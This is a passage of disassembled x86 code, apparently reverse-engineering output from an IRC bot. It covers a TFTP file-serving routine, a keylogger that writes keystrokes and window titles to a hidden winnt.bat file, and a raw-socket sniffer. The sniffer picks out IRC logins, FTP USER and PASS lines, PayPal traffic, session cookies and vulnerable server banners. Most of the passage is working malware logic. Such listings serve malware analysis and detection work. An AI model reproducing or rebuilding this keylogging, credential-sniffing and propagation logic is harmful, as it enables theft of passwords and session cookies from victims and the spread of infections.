push 190h
call ds:dword_4F534C ; Sleep
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409D34
lea eax, [ebp+var_778]
push eax
call sub_415C3F
push [ebp+var_168]
call sub_40BA72
add esp, 1Ch
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_4123A7: ; CODE XREF: sub_412217+142j
; sub_412217+42Bj
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_41264B
mov edi, 80h
lea eax, [ebp+var_D0]
push edi ; Size
push ebx ; Val
push eax ; Dst
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call _memset
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call dword_4E30E0 ; select
test eax, eax
jle loc_41263F
mov al, byte_4E5EA4
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call dword_4E30D0 ; recvfrom
push [ebp+var_38]
mov [ebp+var_8], eax
call dword_4E3184 ; inet_ntoa
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_412629
cmp [ebp+var_CF], 1
jnz loc_41252F
lea eax, [ebp+Str]
push eax ; Str
call _strlen
push ebx ; Origin
push ebx ; Offset
push [ebp+File] ; File
call _fseek
push [ebp+File] ; File
lea eax, [ebp+DstBuf]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h ; Count
push 1 ; ElementSize
push eax ; DstBuf
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call sub_41E3E0
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4E315C ; sendto
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferSt ; "Tftp transfer started to: %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_41251D
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409D34
add esp, 14h
loc_41251D: ; CODE XREF: sub_412217+2E1j
lea eax, [ebp+var_778]
push eax
call sub_415C3F
pop ecx
jmp loc_41263F
; ---------------------------------------------------------------------------
loc_41252F: ; CODE XREF: sub_412217+257j
cmp [ebp+var_CF], 4
jnz loc_412629
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_41256C
inc al
xor cl, cl
mov [ebp+var_576], al
mov [ebp+var_575], bl
jmp short loc_41257A
; ---------------------------------------------------------------------------
loc_41256C: ; CODE XREF: sub_412217+341j
inc cl
mov [ebp+var_576], al
mov [ebp+var_575], cl
loc_41257A: ; CODE XREF: sub_412217+353j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
mov edi, 200h
shl eax, 9
sub eax, edi
push ebx ; Origin
push eax ; Offset
push [ebp+File] ; File
call _fseek
push [ebp+File] ; File
lea eax, [ebp+DstBuf]
push edi ; Count
push 1 ; ElementSize
push eax ; DstBuf
call sub_41E3E0
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4E315C ; sendto
cmp edi, ebx
jnz short loc_41263F
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferCo ; "Tftp transfer complete to: %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_412614
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409D34
add esp, 14h
loc_412614: ; CODE XREF: sub_412217+3D8j
lea eax, [ebp+var_778]
push eax
call sub_415C3F
inc dword_4E5C14
pop ecx
jmp short loc_41263F
; ---------------------------------------------------------------------------
loc_412629: ; CODE XREF: sub_412217+24Aj
; sub_412217+31Fj
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_44B770
push esi
call dword_4E315C ; sendto
loc_41263F: ; CODE XREF: sub_412217+1E9j
; sub_412217+313j ...
cmp [ebp+var_8], ebx
jg loc_4123A7
mov edi, [ebp+arg_0]
loc_41264B: ; CODE XREF: sub_412217+199j
push esi
call dword_4E3190 ; closesocket
push [ebp+File] ; File
call _fclose
dec [ebp+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_41267C
push [ebp+var_168]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_41267C: ; CODE XREF: sub_412217+450j
push 3E8h
call ds:dword_4F534C ; Sleep
push edi
loc_412688: ; CODE XREF: sub_412217+125j
call sub_412217
pop edi
pop esi
pop ebx
leave
retn 4
sub_412217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_412694(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_412694 proc near ; CODE XREF: sub_412775+B4p
; sub_412775+253p
Dest = byte ptr -314h
Filename = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Str = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_4F5404 ; GetLocalTime
lea eax, [ebp+Filename]
push 104h
push eax
call ds:dword_4F5348 ; GetSystemDirectoryA
lea eax, [ebp+Filename]
push offset asc_44BEEC ; "\\"
push eax ; Dest
call _strcat
lea eax, [ebp+Filename]
push offset aWinnt_bat ; "winnt.bat"
push eax ; Dest
call _strcat
lea eax, [ebp+Filename]
push offset aAb ; "ab"
push eax ; Filename
call _fopen
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_4126FB
push 1
pop eax
jmp short loc_412772
; ---------------------------------------------------------------------------
loc_4126FB: ; CODE XREF: sub_412694+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi ; File
call _fprintf
push esi ; File
call _fclose
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_412770
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset asc_44BF10 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 24h
loc_412770: ; CODE XREF: sub_412694+A3j
xor eax, eax
loc_412772: ; CODE XREF: sub_412694+65j
pop esi
leave
retn
sub_412694 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412775 proc near ; DATA XREF: sub_401CC7+4500o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
Dest = byte ptr -4DCh
var_2DD = byte ptr -2DDh
Dst = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_4E307C ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4E3094 ; GetWindowTextA
mov ebx, 200h
loc_4127D0: ; CODE XREF: sub_412775+2C7j
push 8
call ds:dword_4F534C ; Sleep
call dword_4E307C ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz short loc_412858
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4E3094 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+Dst]
push eax ; int
lea eax, [ebp+Dest]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax ; int
call _sprintf
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+Dest]
push 25h
pop ecx
mov edi, esp
push eax ; int
rep movsd
call sub_412694
mov [ebp+var_4], eax
push ebx ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0A4h
lea eax, [ebp+Dest]
push ebx ; Size
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_412858: ; CODE XREF: sub_412775+6Cj
mov [ebp+arg_0], offset dword_44B784
loc_41285F: ; CODE XREF: sub_412775+2BDj
push 10h
call dword_4E2FCC ; GetKeyState
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_4E30C4 ; GetAsyncKeyState
test ah, 80h
jz short loc_4128F7
push 14h
call dword_4E2FCC ; GetKeyState
test ax, ax
jz short loc_4128A8
cmp esi, 0FFFFFFFFh
jle short loc_4128A8
cmp edi, 40h
jle short loc_4128A8
cmp edi, 5Bh
jge short loc_4128A8
mov [ebp+edi*4+var_8DC], 1
jmp loc_412A27
; ---------------------------------------------------------------------------
loc_4128A8: ; CODE XREF: sub_412775+112j
; sub_412775+117j ...
push 14h
call dword_4E2FCC ; GetKeyState
test ax, ax
jz short loc_4128D3
test esi, esi
jge short loc_4128E7
cmp edi, 40h
jle short loc_4128D3
cmp edi, 5Bh
jge short loc_4128D3
mov [ebp+edi*4+var_8DC], 2
jmp loc_412A27
; ---------------------------------------------------------------------------
loc_4128D3: ; CODE XREF: sub_412775+13Ej
; sub_412775+147j ...
test esi, esi
jge short loc_4128E7
mov [ebp+edi*4+var_8DC], 3
jmp loc_412A27
; ---------------------------------------------------------------------------
loc_4128E7: ; CODE XREF: sub_412775+142j
; sub_412775+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_412A27
; ---------------------------------------------------------------------------
loc_4128F7: ; CODE XREF: sub_412775+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_412A27
and dword ptr [eax], 0
lea eax, [ebp+Dst]
cmp edi, 8
push eax ; Str
jnz short loc_41292F
call _strlen
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_412A27
; ---------------------------------------------------------------------------
loc_41292F: ; CODE XREF: sub_412775+1A5j
call _strlen
cmp eax, 1B9h
pop ecx
jbe short loc_412961
call dword_4E307C ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4E3094 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+Dst]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_4129A2
; ---------------------------------------------------------------------------
loc_412961: ; CODE XREF: sub_412775+1C5j
cmp edi, 0Dh
jnz loc_4129F9
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
test eax, eax
pop ecx
jz loc_412A27
call dword_4E307C ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_4E3094 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+Dst]
push eax ; int
push offset aSReturnS ; "%s (Return) (%s)"
loc_4129A2: ; CODE XREF: sub_412775+1EAj
lea eax, [ebp+Dest]
push eax ; int
call _sprintf
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+Dest]
push 25h
pop ecx
mov edi, esp
push eax ; int
rep movsd
call sub_412694
mov [ebp+var_4], eax
push ebx ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0A4h
lea eax, [ebp+Dest]
push ebx ; Size
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
jmp short loc_412A27
; ---------------------------------------------------------------------------
loc_4129F9: ; CODE XREF: sub_412775+1EFj
cmp esi, 1
jz short loc_412A12
cmp esi, 3
jz short loc_412A12
cmp esi, 2
jz short loc_412A0D
cmp esi, 4
jnz short loc_412A27
loc_412A0D: ; CODE XREF: sub_412775+291j
push [ebp+arg_0]
jmp short loc_412A19
; ---------------------------------------------------------------------------
loc_412A12: ; CODE XREF: sub_412775+287j
; sub_412775+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax ; Source
loc_412A19: ; CODE XREF: sub_412775+29Bj
lea eax, [ebp+Dst]
push eax ; Dest
call _strcat
pop ecx
pop ecx
loc_412A27: ; CODE XREF: sub_412775+12Ej
; sub_412775+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_44BEB4
jl loc_41285F
cmp [ebp+var_4], 0
jz loc_4127D0
push [ebp+var_D8]
call sub_40BA72
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
sub_412775 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A56 proc near ; DATA XREF: sub_401CC7+4124o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
Str = byte ptr -1028Ch
Dest = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call __alloca_probe
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push esi
call dword_4E30F8 ; htons
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AF71
pop ecx
push eax
call dword_4E3138 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_4E3178 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_412B2B
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44C7EC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412B0E
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409D34
add esp, 14h
loc_412B0E: ; CODE XREF: sub_412A56+96j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_30]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_412B2B: ; CODE XREF: sub_412A56+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_456024[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4E3124 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412BB0
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44C818 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412B8C
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409D34
add esp, 14h
loc_412B8C: ; CODE XREF: sub_412A56+114j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
push edi
call dword_4E3190 ; closesocket
push [ebp+var_30]
call sub_40BA72
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_412BB0: ; CODE XREF: sub_412A56+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_4E30A4 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_412C33
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44C844 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412C0F
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409D34
add esp, 14h
loc_412C0F: ; CODE XREF: sub_412A56+197j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
push edi
call dword_4E3190 ; closesocket
push [ebp+var_30]
call sub_40BA72
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_412C33: ; CODE XREF: sub_412A56+177j
push ebx
mov ebx, offset a_login ; ":.login"
loc_412C39: ; CODE XREF: sub_412A56+21Bj
; sub_412A56+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4E3110 ; recv
cmp eax, 0FFFFFFFFh
jz loc_412D66
cmp [ebp+var_102AB], 6
jnz short loc_412C39
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_412C39
lea eax, [ebp+Str]
push offset aPsniff_0 ; "[PSNIFF]"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412C39
lea eax, [ebp+Str]
push offset asc_44C8AC ; "-"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412C39
mov eax, ebx
xor edi, edi
test eax, eax
jz loc_412C39
mov [ebp+arg_0], ebx
loc_412CC2: ; CODE XREF: sub_412A56+287j
push eax ; SubStr
lea eax, [ebp+Str]
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412CE4
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_412CC2
jmp loc_412C39
; ---------------------------------------------------------------------------
loc_412CE4: ; CODE XREF: sub_412A56+27Dj
lea eax, [ebp+Str]
push eax
push [ebp+var_102A0]
call dword_4E3028 ; htons
movzx eax, ax
push eax
push [ebp+var_C]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_44BF94[eax*8]
push off_44BF70[eax*4]
lea eax, [ebp+Dest]
push offset asc_44C8BC ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_412D54
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409D34
add esp, 14h
loc_412D54: ; CODE XREF: sub_412A56+2DCj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
jmp loc_412C39
; ---------------------------------------------------------------------------
loc_412D66: ; CODE XREF: sub_412A56+20Ej
call dword_4E308C ; WSAGetLastError
push eax
push offset asc_44C874 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_412DAC
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409D34
add esp, 14h
loc_412DAC: ; CODE XREF: sub_412A56+334j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
push [ebp+var_4]
call dword_4E3190 ; closesocket
push [ebp+var_30]
call sub_40BA72
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
sub_412A56 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412DD2 proc near ; CODE XREF: sub_4130E1+213p
; sub_4130E1+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4E5EA8, eax
mov eax, offset dword_4E5EA8
retn
sub_412DD2 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_412DE1(char *Str)
sub_412DE1 proc near ; CODE XREF: sub_4130E1+2BFp
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aBotSniff ; "Bot sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412DFB
loc_412DF7: ; CODE XREF: sub_412DE1+29j
; sub_412DE1+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412DFB: ; CODE XREF: sub_412DE1+14j
push offset a0 ; "#0#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412DF7
push offset aPsniff_1 ; "[PSNIFF]:"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412DF7
push offset aPsniff_2 ; "PSNIFF//"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412DF7
push offset aJoin_1 ; "JOIN #"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412E43
loc_412E3F: ; CODE XREF: sub_412DE1+71j
; sub_412DE1+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412E43: ; CODE XREF: sub_412DE1+5Cj
push offset a302 ; "302 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412E3F
push offset a366 ; "366 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412E3F
push offset a_login_0 ; ":.login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412E3F
push offset aLogin_0 ; ":!login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412E3F
push offset aLogin_1 ; ":!Login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412E3F
push offset a_login_1 ; ":.Login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412E3F
push offset a_ident ; ":.ident"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412E3F
push offset aIdent_0 ; ":!ident"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz loc_412E3F
push offset a_hashin ; ":.hashin"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz loc_412E3F
push offset aHashin ; ":!hashin"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412DE1 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_412EF8(char *Str)
sub_412EF8 proc near ; CODE XREF: sub_4130E1+2F8p
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aIrcSniff ; "IRC sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412F12
loc_412F0E: ; CODE XREF: sub_412EF8+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F12: ; CODE XREF: sub_412EF8+14j
push offset a0 ; "#0#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F0E
push offset aOper ; "OPER "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412F38
loc_412F34: ; CODE XREF: sub_412EF8+4Fj
; sub_412EF8+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F38: ; CODE XREF: sub_412EF8+3Aj
push offset aNick_2 ; "NICK "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F34
push offset aOper_0 ; "oper "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F34
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412EF8 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_412F6E(char *Str)
sub_412F6E proc near ; CODE XREF: sub_4130E1+32Ep
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aFtpSniff ; "FTP sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412F88
loc_412F84: ; CODE XREF: sub_412F6E+29j
; sub_412F6E+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F88: ; CODE XREF: sub_412F6E+14j
push offset a0 ; "#0#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F84
push offset aNick_3 ; "NICK "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F84
push offset a220 ; "220 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412FBF
loc_412FBB: ; CODE XREF: sub_412F6E+60j
; sub_412F6E+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412FBF: ; CODE XREF: sub_412F6E+4Bj
push offset a230 ; "230 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412FBB
push offset aUser_2 ; "USER "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412FBB
push offset aPass_0 ; "PASS "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412F6E endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_412FF5(char *Str)
sub_412FF5 proc near ; CODE XREF: sub_4130E1+35Fp
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aHttpSniff ; "HTTP sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41300F
loc_41300B: ; CODE XREF: sub_412FF5+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41300F: ; CODE XREF: sub_412FF5+14j
push offset a0 ; "#0#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41300B
push offset aPaypal ; "paypal"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_413035
loc_413031: ; CODE XREF: sub_412FF5+4Fj
; sub_412FF5+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413035: ; CODE XREF: sub_412FF5+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_413031
push offset aPaypal_com ; "PAYPAL.COM"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_413031
push offset aPaypal_com_0 ; "paypal.com"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_413031
push offset aSetCookie ; "Set-Cookie:"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412FF5 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41307C(char *Str)
sub_41307C proc near ; CODE XREF: sub_4130E1:loc_4134A6p
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aVulnSniff ; "VULN sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_413096
loc_413092: ; CODE XREF: sub_41307C+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413096: ; CODE XREF: sub_41307C+14j
push offset a0 ; "#0#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_413092
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4130BC
loc_4130B8: ; CODE XREF: sub_41307C+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4130BC: ; CODE XREF: sub_41307C+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4130B8
push offset aOpenssh_2 ; "OpenSSH_2"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_41307C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4130E1 proc near ; DATA XREF: sub_401CC7+4276o
Dst = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
